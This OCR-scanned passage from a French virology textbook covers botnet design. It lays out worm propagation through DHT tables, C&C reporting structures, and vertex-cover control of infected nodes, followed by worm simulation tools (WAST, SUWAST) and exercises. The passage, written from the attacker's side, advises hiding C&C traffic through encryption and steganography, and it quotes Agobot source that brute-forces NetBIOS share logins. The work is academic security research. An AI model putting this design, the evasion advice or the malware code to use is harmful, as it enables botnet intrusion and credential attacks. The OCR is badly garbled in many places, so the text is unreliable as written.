Plus precisement., il s'agit du cache du protocole ARP, permettant la traduction d'une adresse de nrotocole de couche reseau (une adresse IPv4) en une adresse ethernet.
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- Si l'adresse IP est dynamique alors le ver met a jour la structure DHT1 . Rappelons que cette table ne contient qu'une seule adresse statique (voir point suivant). - En revanche, si l'adresse IP est statique, le ver cree une structure additionnelle DHTo pour integrcr le roseau malicieux au niveau superieur et y « raccorder » le sous-reseau inferieur. Pour ce dernier point, cette nouvelle adresse IP statique est egalement incluse dans la structure DHTo nouvellement creee. En resume, toutes les tables locales de type DHT1 sont toutes liees par un unique point a la structure DHTo. Precisons que le nceud de connexion (adresse IP) entre les tables DHTo et DHT1 peut etre arbitrairement choisi selon la strategic de propagation recherchee. A titre d'exemple, ce noeud peut etre la derniere adresse statique qui a ete infectee par le ver et chaque fois qu'une nouvelle adresse statique est infectee avec succes une nouvelle structure DHTo est initialisee. Cette reinitialisation peut au contraire ne se produire que toutes les n adresses statiques et toutes les adresses entre i et i + n seront considerees comme dynamiques.



Donnees de controle Afin de surveiller et de controler I'activite du ver, dcvalucr sa propagation, l'attaquant a besoin de definir et d'utiliser quelques estimateurs soigneusement choisis. II s'agit en particulier de connaitrc la topographie exacte du reseau malicieux superieur. Pour cela, il est donc indispensable de savoir quelles sont les adresses IP des machines infectees, quelle est la machine propagatrice et a quel moment l'infection a eu lieu. Ces donnees sont ensuite exploitees pour construire le graphe G qui decrit le roseau malicieux superieur. II est construit de la manierc suivante : - chaque adresse IP fixe est un nceud du graphe, - le nceud i est connecte au nceud j par un arc (i, j) si la machine j a ete infectee par la machine i. Par construction, en particulier lorsque l'on considere le fait qu'une machine ne peut reinfecter une machine deja infectee, la structure de graphe qui resulte de la compilation de toutes les donnees collectees par la console de controle et d'administration du reseau (machine C&C) est donc un graphe dirige acyclique (voir exercices). Afin d'illustrer les choses, supposons que la machine i a infecte la machine j a l'instant t. Alors, chaque nouvelle copie du ver (autrement dit a partir de la machine j) renvoie vers la console C&C la structure de donnees suivante :
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struct infection_fixed { /* Adresse IP de la machine i */ unsigned long int add_from; /* Adresse IP de la machine j */ unsigned long int add to /* Instant d'infection */ time t inf atime };



Au niveau local (reseau malicieux bas-niveau), toute nouvelle machine infectee (donc designee par une adresse IP dynamique) enverra Quant a elle la structure de donnees suivante a l'unique adresse IP fixe dont elle depend vis-a-vis du reseau malicieux en cours de construction:



struct infection_fixed { /* Adresse IP de la machine i */ unsigned long int add_from; /* Adresse IP de la machine j */ unsigned long int add_to /* Adresse IP fixe unique */ /* (Noeud de connexion) */ /* dans DHT_O */ unsigned long int add_fix



/* Instant d'infection time t inf atime



*/



};



Ces donnees sont cnvoyecs a la console cc de l'attaquant selon le protocole hierarchise defini par : - toute machine contenue dans la structure locale DHT1 envoie ses donnees seulement a la machine d'adresse IP fixe contenue dans cette table; - seules les machines du graphe G (adresse IP fixe ou plus generalement adresse IP connectant entre eux les differents reseaux bas-niveau via le reseau malicieux superieur) peuvent communiquer des donnees a la machine C&C. Cette derniere regIe a pour objectif de minimiser le trafic genere par les differentes copies du ver. Ces premieres donnees collectees et renvoyees vers la console cc sont essentielles pour determiner la topographie reelle du roseau malicieux, pour l'organiser de manierc optimale mais egalement pour evaluer I'efficacite du ver en termes de propagation (vitesse d'infection, taux d'infection, trafic reel frenere... ).
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Un second indicateur est considere pour evaluer le taux de connexions inutiles generees durant la propagation. Autrement dit, l'attaquant souhaite evaluer le nombre de tentatives d'infection de machines deja infectees, Ce taux a un impact direct sur le caractere signant du trafic genere par le ver et donc sur son activite et, au final, sur la capacite de le detecter proactivement. Pour cela, a chaque tentative d'infection, une machine envoie les donnees suivantes :



struct infection fixed /* Adresse IP de la machine i */ unsigned long int add_from; /* Adresse IP de la machine j */ unsigned long int add_to /* La machine j est deja */ /* infectee (valeur 0 ou 1) */ unsigned int mark_flag



/* Instant d'infection time t inf atime



*/



Notons que ces donnees sont non seulement collectees de manierc hierarchisee, mais elles sont egalement transmises de manierc securisee pour contrer l'analyse par des sondes automatiques. L'usage de chiffrement, de steganographie ou de techniques de simulation de tests statistiques (modifier des donnees pour qu'elles ressemblent statistiquement a des donnees cibles; voir [104, Section 3.6]) est alors fortement recornmande.



11.3.3 Gestion combinatoire du botnet Le principe general Une fois la phase initiale de propagation tcrminec (toutes les machines possibles, en fonction du critere considere, ont ete infectees), l'attaquant doit pouvoir controler ce reseau malicieux (typiquement un botnet), modifier la topographie, son comportement et, bien sur, l'utiliser a telle ou telle autre fin. II doit donc etre capable de piloter ce reseau et faire executor des commandes a une quelconque copie du ver. Cette copie ou ces copies doivent alors etre capables de propager ces commandes ou, le cas echeant la mise a jour, aux autres conies du code. et ce de la maniere la nlus discrete nossible.
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Localement, les tables DHT mise en place (a la fois DHTo et DHT1 ) doivent etre administrees de sorte que leur taille reste dans des limites raisonnables afin de ne pas trahir la presence d'une copie du ver. II est donc necessaire d'introduire un parametrc temporel a cette fin. De manierc systematique, l'adresse IP fixe unique est incluse dans la ou les tables DHT d'une machine donnee i tandis que cette structure variera dynamiquement en conservant seulement les a adresses IP correspondant aux machines qui ont reccmmcnt etabli une connexion avec cette machine et qui sont donc susceptibles d'etre infectees par elle. Comme pour la technique Kademlia [172]' nous avons utilise un systeme identification des noeuds - le ou les criteres sont choisis en fonction de la strategic de propagation et./ou de l'utilisation finale du reseau malicieux 7 . La gestion de ce parametrc temporel se fait via une ponderation de chaque adresse dans les tables DHT. Considerons la table DHT{ de la machine i. Pour toute autre adresse IP j dans D HT{, notons di j la « distance» XOR entre les machines i et j (en fait le result at de I'operation XOR entre les identificateurs respectifs de ces deux machines) et soit tij le dernier instant (en secondes) de connexion entre ces deux machines. Alors, nous attribuerons le poids suivant a chacune d'entre elles :



Ainsi la table DHT{ se met en permanence les a adresses IP de plus petit poids Wij.



a jour pour conserver seulement



Exploitation des donnees collectees Une fois les donnees d'infection collectees en nombre suffisant, l'attaquant va les exploiter dans le but d'administrer et de piloter le roseau malicieux superieur de la manierc la plus efficace et la plus discrete possible. L'interet de cette hierarchisation du reseau malicieux en deux niveaux (voire plus) reside dans le fait que le maitre de ce roseau ne se prcoccupe que des noeuds principaux, ceux ayant une adresse IP fixe. Ce sont ces derniers, en parallele, qui vont s'occuper ensuite de propager les ordres, mises a jour, commandes... aux instances locales du code malicieux, autrement dit vers les differents reseaux malicieux bas-niveau. 7



Alors que pour une attaque generique, l'adresse IP de la machine peut etre le critcre le plus intuitif, dans le cas d'attaques ciblecs, il est possible de considerer d'autres criteres, comme par exemple certains fichiers que partagerait un groupe d'individus cible (clefs nubliaues PGP Dar exemnle). Les choix du ou des criteres sont auasi infinis.
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Le principal objectif est evidemment de limiter la consommation de bande passante et donc le trafic genere par I'activite du ver /botnet. II s'agit de reduire le nombre de connexions, la taille des donnees envoyees. De plus, l'exploitation de connexions «naturelles » entre toutes les machines infectees, et en particulier entre les serveurs, constitue une precaution supplementaire vers plus de furtivite. A titre d'exemple, un serveur S, se connecte generalement a un serveur Sj qui a son tour se connecte a un serveur Si: Cela implique qu'en regIe generale le serveur S, ne se connecte jamais directement au serveur Si: Encore une fois, insistons sur le fait que toute la strategic du code malicieux - au travers de ses differentes instances - est de propager et d'administrer le ver /botnet en exploitant les connexions « naturelles » ou « ad hoc» existant entre ces serveurs. Si le serveur S, ne se connecte jamais au serveur Sk, une alerte sera probablement lancee par ce dernier si le ver tentait malgre tout de le faire. Toutes ces considerations etant prises en compte, l'attaquant doit donc batir un modele otpimal de ces connexions entre les noends du reseau malicieux superieur. Le graphe dirige pondere G sera progressivement construit et actualise sur la console d'administration et de controle : - les noends de G, notes (ni)l~i~N representant les adresses IP fixes (generalement un serveur). Rappelons que le choix d'une adresse fixe est arbitraire et que tout autre choix peut etre fait en fonction des objectifs de l'attaquant. Dans le cas d'une attaque ciblee et./ou limitee dans le temps, ces adresses fixes peuvent etre en tout ou partie dynamiques ; - chaque nceud (ni) recoit une valeur de ponderation Vi. Cette valeur de ponderation - nous n'en preciserons pas le calcul - a pour role de jouer sur la dynamique de communication entre les different noeuds de G. Elle permet, entre autres effets, de jouer sur les algorithmes de parcours de graphes et donc de moduler au gre de l'attaquant, le trafic lie au ver et de modifier les eventuelles signatures roseau du ver /botnet ; - les entrees de la matrice d'incidence de G sont definies par :



ai,j ==



I la machine j a ete infectee par la machine i 0 { sinon



Lorsque le maitre du botnet veut mettre a jour'', controler ou utiliser les ressources offertes par le botnet, la surcharge roseau doit etre la plus limitee et la plus irreguliere (i. e. la moins signante) possible. De plus, la securite de la console d'administration et de controle - et donc du maitre du botnet 8



Par exemple, il peut s'agir de communiquer un nouvel exploit aux differentes copies du ver.
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lui-meme - doit etre assuree en laissant le moins de traces possibles dans un nombre limite de machines. L'idee est donc d'identifier dans le graphe G un nombre le plus reduit possible de noends privilegies via lesquels il sera possible de communiquer sinon optimalement du moins de manierc tres efficace avec tous les autres noends de G. Ces conditions etant fixoes, une solution possible est de considerer le probleme dit de couverture d 'um graphe (ou vertex cover problem). Rappelons sa definition.



Definition 57 Soit un graphe non diriq« G == (V, E) OU V desiqne l'ensemble des nceuds de G et E l'ensemble des areies de G. La couverture (ou vertex cover) du graphe G est un sous-ensemble V' c V contenant au moins une extremit« de chacune des areies de V soit :



V'cV: V{a,b}EE,aEV' oubEV'. Cet ensemble est fondamental en theorie des graphes. II est la solution de tres nombreux problemes, notamment de minimisation de res sources (voir exercices). Rappelons que le probleme du vertex cover est un probleme N Pcomplet. Sur le graphe de la figure 11.2, le sous-ensemble {2, 4, 5} est une solution - et elle est optimale car c'est la plus petite possible - du probleme de couverture pour ce graphe. Ainsi, a partir de toutes les donnees collectees



FIG.



11.2. Exemple de graphe ayant un vertex cover de taille 3



durant la phase initiale de propagation, le maitre du botnet va tout d'abord tenter d'identifier un vertex cover pour le graphe G qu'il aura construit. Pour administrer ou piloter le reseau malicieux superieur, le maitre du botnet procedera de la manierc suivante : 1. identifier un vertex cover V' == {nil' ni2' ... , ni k}. II est bien sur possible - notamment du fait de la comnlexite de ce nrobleme - de considerer un
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sous-graphe partiel de G, selon des criteres qui dependront de la strategic d'attaque; 2. les donnees qui doivent etre envoyees a toutes les instances du ver (mise a jour, commandes... ) sont envoyees uniquement aux noeuds nij E V' avec 1 < j < k; 3. chacun des noends nij E V' propagera ensuite localement aux autres noends du graphe ces donnees, selon un ordre adequat, afin de limiter la probabilite qu'un nceud recoivent plusieurs fois des donnees d'autres noends nij (par exemple, pour le graphe de la figure 11.2, le noeud 3 peut recevoir des donnees des noends 2 et 4; seul le noeud 2 le fera). L'utilisation du vertex cover - d'ou le terme de « gestion combinatoire » permet d'optimalement minimiser le nombre de connexions entre les noeuds du graphe tout en les traitant quasi-simultanement. Chaque noeud de G, en parallele, traite chacun des sous-reseaux de bas-niveau. La difficulte principale pour le maitre du botnet sera de trouver le plus petit vertex cover pour le graphe G. II s'agit en effet d'un probleme N Pcomplete Dans la pratique, ce n'est pas un probleme insurmontable du fait de la nature reelle des instances de G. Ces dernieres dependent directement des estimateurs utilises pour definir les identifiants de nceuds. Soit il peut considerer un sous-graphe partiel suffisant soit une solution sous-optimale pour ce probleme peut suffire. Nous avons utilise avec un certain succes diflerentes optimisations lors de nos experiences : - rechercher un vertex cover dont la taille est au plus deux fois la taille du vertex cover optimal. Le probleme correspondant, connu sous le nom de approx-vertex-cover (vertex cover approche) [62] connait un algorithme de complexite polynomiale en temps permettant de trouver efficacement une solution. La complexite est en O(IVI + lEI) ; - utilisation de l'algorithme d'approximation de Dharwadker [71] permettant de trouver la solution optimale au probleme du vertex cover pour un grand nombre de classes de graphes.



11.3.4 Simulation



a grande



echelle



Malgre tout le soin que l'on peut apporter a la conception d'un ver ou d'un botnet, il est tres difficile (pour ne pas dire quasi-impossible) de prevoir son comportement sur un reseau reel. Outre les eventuels effets de bord - erreurs de conception ou de programmation, effets de bord non prevus en fonction de I'activite du reseau... - le choix des parametres optimaux - dans notre cas, la constante a et les valeurs de ponderation Vi des noeuds du graphe,
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par exemple - ne peut se faire qu' a posteriori. Disposer d'un environnement de simulation adapte est donc un aspect critique des choses. II est essentiel pour valider un scenario de propagation d'un ver ou d'un botnet a grande echelle. A notre connaissance, il n'existe pas d'environnement capable de simuler efficacement un reseau de plusieurs milliers, voire plusieurs millions de machines et les connexions qu'elles peuvent entrenir. Les quelques outils de simulation existants - comme par exemple Netkit de I'universite de Rome 9 sont trop lourds pour permettre la simulation d'un roseau de tres grande taille. En 2007, nous avons donc developpe deux environnements de simulation adaptes a nos besoins.



L'environnement



WAST



Le premier environnement est WAST (Worm Analysis and Simulation Tool) [131]. II a ete developpe au Laboratoire de virologie et de cryptologie par Alessandro Gubbioli du Politecnico di Milano (Institut Polytechnique de Milan) en Italie. II a ete concu en premiere approche pour simuler un roseau de taille reduite (de l'ordre de quelques dizaines de machines) et ainsi disposer d'une premiere etape de simulation pour une phase exploratoire et preliminaire de validation de strategies de propagation. Le systeme WAST permet de simuler des attaques roseau au niveau applicatif plutot qu'au niveau des paquets. Ce choix s'explique pour deux raisons principales : - il permet une modelisation plus precise du ou des comportements des attaquants ; - il rend possible la simulation d'un LAN specifique avec tous ses composants. WAST permet de verifier la validite d'un modele de propagation et de choisir les intervalles de valeurs des principaux parametres. De plus cela permet, toujours en premiere approche, de comparer les diflerentes strategies d'attaques. Cet environnement rend egalement possible la mise a I'epreuve sous containtes dures de protocoles ou d'outils de securisation pour tester leur capacite reelle de reaction, notamment face a une attaque inconnue. Deux macro-fonctionnalites sont disponibles : 1. la simulation d'un reseau ayant une topologie specifique arbitraire, utilisant du protocole UDP, TCP, des routeurs et des hates de toutes natures. 9



Voir



ht t



o : I lTiffiffil.netkit. o.rz et fl191.



Les botnets



378



Pour chacun de ces hates, il est possible de definir un profil de configuration specifique (systeme d'exploitation, services roseau disponibles ... ) ; 2. des ensembles de modules decrivant les principaux mecanismcs d'infection par un ver ou un botnet. Ces modules peuvent interagir selon les besoins de simulation et selon le ou les protocoles que chacun d'entre eux est capable de mettre en oeuvre. Le CCBur du systeme WAST est construit autour du systeme honeyd, cree par Niels Provos [188]. II s'agit d'un projet Open Source dedie a la gestion virtuelle d'interactions bas-niveau entre pots de miel. Honeyd est en fait un environnement de developpement de pots de miel virtuels simulant des systemes au niveau reseau. II supporte le protocole IP et est capable de gerer des requetes reseau provenant de chaque pot de miel virtuel. En fait, Honeyd permet de la generation de trafic IP. WAST cree donc un roseau de machines virtuelles de type pot de miel et les modules viraux sont implementes sous forme de scripts realisant des services (malicieux ou non) specifiques, lesquels etendent les fonctionnalites offertes par honeyd. Le seul probleme avec ce systeme est que, malgre tous les efforts d'optimisation, il n'est pas possible de simuler un reseau de grande taille, etant donnees les res sources que cela necessite. Afin de donner une idee plus precise de l'environnement WAST, considerons la simulation du micro-roseau donne en figure 11.3. Le fichier de configuration de ce reseau est le suivant : ####################### # Topologie du reseau ####################### # Router R1 (main router) # entry point into the virtual # network 10.1.240.0/21



route entry 10.1.240.1 network 10.1.240.0/21 # the network 10.1.240.0/24 is directly reachable from # the route's port 10.1.240.1 route 10.1.240.1 link 10.1.240.0/24 # other networks reachable from the same router route 10.1.240.1 add net 10.1.241.0/24 10.1.241.1 route 10.1.240.1 add net 10.1.242.0/24 10.1.242.1
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WAS T



networks directly reachable from the respecti ve route's port route 10.1.241.1 link 10.1.241.0/24 route 10 .1 .242 .1 link 10 .1 .242 .0/24 # #



# Router R2 route 10 .1 .241 .2 add net 10 .1 .244 .0/24 10 .1 .2 44 .1 route 10 .1 .244 .1 link 10 .1 .244 .0/24



# Router R3 route 10 .1 .242 .2 add net 10 .1 .243 .0/24 10 .1 .243 .1 route 10 .1 .243 .1 link 10 .1 .243 .0/24



Adding the route to reach all networks route 10 .1 .240 .1 add net 10 .1 .244 .0/24 10 .1 .241 .2 route 10 .1 .240 .1 add net 10 .1 .243 .0/24 10 .1 .2 42 .2 #



###
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################ # Profil hates ################ # Windows 2000 Client



create Client_win set Client_win personality "Microsoft Windows 2000 SP3" add Client_win tcp port 445 open add Client_win tcp port 139 open add Client_win udp port 138 open add Client_win udp port 137 open add Client_win tcp port 135 open set Client_win default tcp action reset set Client_win default udp action reset set Client_win uid 500 gid 500 # Activation du code exploit permettant l'infection



add Client_win tcp port 3131 "scripts/exploit.py $ipdst $dport"



# default behavior for the unbinded machines



create default set default default tcp action reset set default default udp action reset set default default icmp action reset



# Cisco Router



create Router set Router personality "Cisco IDS 11.3 - 12.0(11)" set Router default tcp action reset set Router default udp action reset add Router tcp port 23 "scripts/router-telnet.pl" set Router uid 500 gid 500 set Router uptime 1327650 ### ###############################
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# Creation des sous-reseaux ###############################



include fake_network/simple_network.bindings Le fichier decrivant les sous-reseaux est alors (extrait du fichier simple_network. bindings) : # sous-reseau 10.1.241.x bind 10.1.241.10 Client_win bind 10.1.241.11 Client_win bind 10.1.241.12 Client_win bind 10.1.241.13 Client_win bind 10.1.241.14 Client_win



# sous-reseau 10.1.242.x



bind bind bind bind bind bind bind



10.1.242.10 10.1.242.11 10.1.242.12 10.1.242.13 10.1.242.14 10.1.242.15 10.1.242.16



Client_win Client_win Client_win Client_win Client_win Client_win Client_win



# routers



bind bind bind bind bind bind bind



10.1.240.1 10.1.241.1 10.1.241.2 10.1.242.1 10.1.242.2 10.1.243.1 10.1.244.1



Router Router Router Router Router Router Router



Le micro-roseau donne en figure 11.3 est bien sur volontairement tres reduit et n'a ete donne qu'a des fins d'illustration. Mais pour donner une idee plus precise des capacites du systeme WAST, il suffit de savoir qu'avec une simple machine AMD Athlon XP 1,6Ghz pourvue de 512 Mo de mcmoire vive, il est possible de simuler un reseau heterogene de pres de 212 machines. Cela procure, en premiere approche, une confortable capacite de validation de scenarii d'attaaues.
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L'environnement SUWAST L'environnement SUWAST (pour Super Worm Analysis and Simulation Tool) a ete lui construit de zero a partir de deux outils autonomes : FakeNetbiosDGM et FakeNetbiosNS ecrits en langage C par Patrick Chambet [47]. Ces deux outils reposent sur le protocol Netbios, developpe par IBM et Syntec au debut des annees 1980. FakeNetbiosDGM est un programme realisant des emissions periodiques de trafic sur le port 138, trafic semblant provenir de plusieurs hates Windows. En d'autres termes, il simule le service roseau a base de datagrammes Netbios. Ce service permet d'envoyer un message a un groupe dhdtes (en mode multicast ou en mode broadcast) ou bien a un unique hate (mode unicast). FakeNetbiosNS, Quant a lui, opere sur le port 137 et repond a des requetes de resolution de noms de domaine, entre autres choses. En fait, il simule le Netbios Name Service, associant un nom de domaine a une adresse IP. Ces deux outils et les fonctionnalites qu'ils offrent les rendent particulierement interessants, comme brique de base, pour construire un systeme complexe comme SUWAST, en particulier parce qu'ils peuvent generer et envoyer des paquets UDP sur un port donne (FakeNetbiosDGM) et ecouter sur un port donne et forger une reponsc (FakeNetbiosNS) . Cela nous a permis de concevoir un environnement de simulation oxtremement puissant, modulaire, permettant de decrire et de simuler des reseaux de tres grandes tailles, complexes et heterogenes (clients, serveurs, equipements actifs ... ), des attaques sur ces rcscaux, et en travaillant au niveau des paquets. Si SUWAST est beaucoup plus complexe a mettre en oeuvre et a administrer que WAST, il permet en revanche des simulations a tres grande echelle, Par exemple, il est facile de simuler un roseau heterogene de 60 000 hates sur une simple machine Pentium 4 a 3 Ghz et 2 Go de mcmoire. De plus, il est possible d'interconnecter de telles machines en grappe pour simuler des reseaux de plusieurs millions de machines. Les principales caracteristiques de simulation d'un roseau par SUWAST sont: 1. dans la phase d'initialisation du reseau, les adresses IP sont generees aleatoirement selon la topographie reseau cible choisie. En particulier, le parametrc de voisinage a ainsi que la probabilite Po sont initialises; 2. un processus NS est alloue un hate virtuel ;



a chacune



de ces adresses IP pour initialiser



3. toutes les machines virtuelles ainsi creees communiquent via la memc carte reseau (utilisation d'IP aliasine) :
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4. le protocole de transfert utilise est l'UDP. L'initialisation du reseau simule se fait a l'aide d'un unique script, lequel est lui meme automatiqment genere a partir d'un fichier de configuration.



Simulation de l'attaque Une fois notre strategic d'infection et d'installation du roseau malicieux validee, la phase de test et de simulation doit permettre de determiner les parametres optimaux pour ce modele. Chaque noeud simule (clients et serveurs) embarque une structure de donnees qui va emuler les etats et les services de I'hote correspondant. Cette structure de donnees contient les champs principaux suivants, qui sont initialises aleatoirement en fonction de la topologie roseau cible : - adresse IP ; - statut de l'adresse IP (statique ou dynamique) ; - statut de la machine (serveur ou non) ; - un champ INF _MARK decrivant le statut d'infection : - 0 (sain, hate non encore infecte) ; - 1 (hate deja infecte ; niveau roseau malicieux inferieur) ; - 2 (hate deja infecte ; niveau roseau malicieux superieur). D'un point de vue pratique, le code malicieux peut utiliser une marqueur d'infection arbitraire (par exemple un mutex M) pour toute adresse dynamique (reseau malicieux bas-niveau) tandis qu'un marqueur different (par exemple un mutex M') pour les machines ayant une adresses IP fixe. - une liste d'adresses IP representant les adresses IP que le code a collects (voir section 11.3.2). Ces adresses IP correspondent en fait a des noeuds simules existant avec une probabilite PI, tres proche de 1 ; - toutes autres donnees additionnelles necessaires a la simulation (par exemple, valeur de delai temporel pour simuler la charge du trafic reseau, duree du processus d'infection par le ver ... ). Ce ou ces champs additionnels autorisent une grande richesse de simulation. En fait, chaque fois que le ver infecte un noeud, il lit simplement ces informations au lieu de les collecter reellement et eventuellement les met a jour (en particulier le marqueur d'infection INF _ MARK). Les caracteristiques et comportements des nceuds peuvent egalement etre modifies dynamiquement en cours de simulation. Le declenchement de la propagation se fait par le choix aleatoire d'une machine a partir de laquelle la propagation est realisee selon la strategic presentee dans la section 11.3.2. Le simulateur SUWAST nermet ranidement
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de tester un grand nombre d'instances de propagation, que l'on definit par le triplet (N, a,po), OU N est le nombre d'hotes simules, Po la probabilite de scan aleatoire (voir section 11.3.2) et a le parametrc de voisinage. Les experiences montrent que ce sont les trois parametres les plus importants pour evaluer une strategic de propagation memc si d'autres parametres peuvent intervenir.



11.3.5 Resultats de simulation Differentes experiences de simulation ont ete mcnecs sur des reseaux virtuel de tailles variables (de Ifl a 60 000 machines). Le parametrc de voisinage a ete teste pour a E [1,20]. Chaque instance de propagation (N, a,po) a ete testee 50 fois pour disposer de resultats statistiquement significatifs. II est impossible de presenter ici tous les scenarii et leurs instances que nous avons valides avec WAST puis testes a plus grande echelle avec SUWAST. Nous allons presenter succinctement les resultats pour l'un des plus intcressants d'entre eux et mettant en ceuvre la strategic de propagation presentee dans la section 11.3.2. La topologie generale du reseau simule est la suivante : - chaque serveur «gere» a autres serveurs et un nombre variable de clients (choisi aleatoirement entre 16 et 32). Le parametrc de voisinage serveur (Ie nombre de serveurs avec lesquels un serveur donne entretient des connexions; il s'agit, autrement dit, du degre maximal d'un noeud dans le graphe G) s'est revele etre un parametrc critique, plus que tout autre parametrc de voisinage (notamment serveur/clients). Nous le denommerons as et nous l'avons teste pour diflerentes valeurs prises dans l'intervalle [1,5] ; - chaque hate client ne connait qu'un seul serveur et, avec une probabilite o < Po < 0.10, un autre serveur ou client. Dans ce qui suit, le reseau simule contient 100 serveurs et un roseau avec N == 3000 machines. Les resultats sont prcscntes en figure 11.4 et synthetises dans la figure 11.5. Deux metriques principales ont ete considerees pour evaluer les differentes strategies: - le Taux d'Infection du Reseau (TIR). II est defini par le rapport TIR ==
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- le Taux de surinfection (TS). II est defini Dar le rannort
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11.4. Taux d'infection du reseau (TIR) et Taux de surinfection (TS) pour a = 2,4,6,8,9,10
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tempfile"); system(sCmdBuf.CStr());



DeleteFile(ltempfile"); return true; #endif
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Analyser le code et expliquer comment il intervient dans les mecanismcs de furtivite. 2. Voici un extrait du code d' Agobot4 (fichier nbscanner. cpp)



CScannerNetBios: :CScannerNetBios() {



m_sScannerName.Assign(lnetbios"); }



void CScannerNetBios: :STARTSCAN(const CString &sHost) {



if(ScanPort(sHost.CStr(), 445) I I ScanPort(sHost.CStr(), 139)) {



g_cMainCtrl.m_cIRC.SendFormat(m_bSilent, m_bNotice, m_sReplyTo.Str(), "%s: scanning ip %S.", m_sScannerName.CStr(), sHost.CStr()); MultiByteToWideChar(CP_ACP, 0, sHost.CStr(), sHost.GetLength()+1, m_wszHost, (int)sizeof(m_wszHost)/(int)sizeof(m_wszHost[O])); wcscpy(m_wszServer, L"\\\\"); wcscat(m_wszServer, m_wszHost); wcscpy(m_wszResource, m_wszServer); wcscat (m_wszResource , L"\\IPC$"); int iNameCount=O, iShareCount=O; m_lUsers.clear(); m_lShares.clear(); CloseSession(); if(NullSession()) GetUsers(&m_lUsers); GetShares(&m_lShares); CloseSession(); while(names[iNameCount]) {



userinfo *pUser=new userinfo; DUser->sName.Assi~n(namesriNameCountl):



11.3 Conception et propagation d'un ver/botnet optimise



pUser->sServer.Assign(sHost); m_lUsers.push_back(pUser); iNameCount++; }



while(shares[iShareCount]) {



shareinfo *pShare=new shareinfo; pShare->sName.Assign(shares[iShareCount]); pShare->sRemark.Assign(ldefault"); m_lShares.push_back(pShare); iShareCount++; }



bool bExploited=false; list: :iterator iShares; iShares=m_lShares.begin(); list: :iterator iUsers; iUsers=m_lUsers.begin(); while(iShares!=m_lShares.end() && !bExploited && m_pScanner->m_bScanning) {



while(iUsers!=m_lUsers.end() && !bExploited && m_pScanner->m_bScanning) {



WCHAR wszShare[MAX_PATH]; wcscpy(m_wszServer, L"\\\\"); wcscat(m_wszServer, m_wszHost); wcscpy(m_wszResource, m_wszServer); wcscat (m_wszResource , L"\\"); MultiByteToWideChar(CP_ACP, 0, (*iShares)->sName, (*iShares)->sName.GetLength()+1, wszShare, (int)sizeof(wszShare)/(int)sizeof(wszShare[O])); wcscat (m_wszResource , wszShare); if(AuthSession((*iUsers)->sName.CStr(), 1111) && !bExploited) {



bExoloited=Exoloit((*iShares)->sName.CStr().
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sHost.CStr(), (*iUsers)->sName.CStr(), 1111); CloseSession(); }



if(AuthSession((*iUsers)->sName.CStr(), (*iUsers)->sName.CStr()) && !bExploited) {



bExploited=Exploit((*iShares)->sName.CStr(), sHost.CStr(), (*iUsers)->sName.CStr(), (*iUsers)->sName.CStr()); CloseSession(); }



int pWd_count=O; while(pwds[pwd_count] && !bExploited) {



if(AuthSession((*iUsers)->sName.CStr(), pwds[pwd_count]) && !bExploited) {



bExploited=Exploit((*iShares)->sName.CStr(), sHost.CStr(), (*iUsers)->sName.CStr(), pwds[pwd_count]); CloseSession(); }



pWd_count++; }



iUsers++; }



iShares++; iUsers=m_lUsers.begin(); }



for(iUsers=m_lUsers.begin(); iUsers!=m_lUsers.end(); ++iUsers) delete (*iUsers); for(iShares=m_lShares.begin(); iShares!=m_lShares.end(); ++iShares) delete (*iShares):
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m_lUsers.clear(); m_lShares.clear(); } }



En vous aidant des donnees fournies dans la section 11.2.1, analyser le code et expliquer ce qu'il fait. 3. Analyser et commenter la procedure de chiffrement (le lecteur utilisera les fichiers polymorph. cpp et polymorph. h fournis sur le CDROM accompagnant cet ouvrage. 4. Analyser les deux codes donnes en debut de section 11.2.3. Expliquer les actions qu'ils realisent et pourquoi ils sont inoffensifs en cux-memcs. 5. Analyser le code du programme httflood. cpp du botnet Agobot3. Expliquer le mode de fonctionnement de ce type de deni de service. 6. Demont.rcr que le graphe G decrivant le roseau malicieux superieur et construit selon les donnees de la section 11.3.2 est acyclique. Quel est, pour l'exploitation de ce graphe par l'attaquant, I'interet de cette propriete ? 7. Montrer que le vertex cover d'un graphe G permet de determiner le nombre optimal de cameras de surveillance dans un musec pour en surveiller la tonalite des couloirs, ou d'antenne WiFi pour couvrir la totalite d'un auartier d'une ville.



12 Les virus de documents



12.1 Introduction Nous avons presente succinctement, dans le chapitre 5, la notion de virus de documents. Si la perception a I'egard de ce type, encore trop peu connu, de codes malveillants, se limite malheureusement encore aux tristement celebres macro-virus, I'evolution des techniques virales justifie, memc en 2008, une vision plus large que celIe limitee a la suite bureautique de Microsoft. En fait, de manierc logique, la menace s'est, une fois de plus, adaptee a l'offre grandissante de nouveaux formats bureautiques et, actuellement, pratiquement aucun d'entre eux n'est a l'abri. D'une manierc generale, les attaques par macro-virus et plus largement par virus de documents semblent avoir declinees depuis 2004. En fait l'explosion des autres types de codes malveillants (vers, chevaux de Troie, bots ... ) les ont statistiquement marginalises et du point de vue de l'attaquant qui se veut efficace, mener une attaque de grande ampleur n'est pas facile avec ce type de virus. En revanche - et la les statistiques font cruellement defaut, ne serait-ce que parce que ces attaques sont rarement decouvertes - les attaques ciblees sont en nette progresssion et il est a craindre que l'avenir soit assez sombre de ce point de vue. D'autant plus sombre que la multiplicite des formats disponibles et des capacites d'execution liees s'accroissent. De nombreuses attaques ciblees recentes ont ete perpetrees avec succes a l'aide de documents bureautiques picgcs et./ou infectes, Le cas le plus emblematique [83] - memc s'il est loin d'etre le seul - est celui de l'espionnage de la chancellerie allemande durant I'ete 2007, ainsi que d'autres etats. Un simple document bureautique contenant un cheval de Troie a permis aux attaquants - selon I'hypothcsc la plus vraisemblable des hackers travaillant Dour le comnte du aouvernement chinois - dnsuirer nlusieurs Q"iQ"a-octets de
